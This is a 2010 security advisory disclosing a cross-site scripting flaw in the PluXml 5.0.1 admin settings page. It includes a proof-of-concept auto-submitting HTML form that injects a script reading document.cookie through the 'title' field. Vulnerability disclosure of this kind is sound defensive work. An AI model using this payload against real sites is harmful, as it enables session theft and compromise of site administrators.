XSS vulnerability in PluXml

Type securityvulns
Reporter Securityvulns
Modified 2010-10-13T00:00:00


Vulnerability ID: HTB22633 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluxml_2.html Product: PluXml Vendor: PluXml Team ( http://pluxml.org/ ) Vulnerable Version: 5.0.1 and probably prior versions Vendor Notification: 29 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/core/admin/parametres_base.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/core/admin/parametres_base.php" method="post" name="main" > <input type="hidden" name="title" value='PluXml"><script>alert(document.cookie)</script>'> <input type="hidden" name="description" value="le blog full XML"> <input type="hidden" name="racine" value="http://host/"> <input type="hidden" name="delta" value="+00:00"> <input type="hidden" name="allow_com" value="1"> <input type="hidden" name="mod_com" value="0"> <input type="hidden" name="editor" value="plxtoolbar"> </form> <script> document.main.submit(); </script>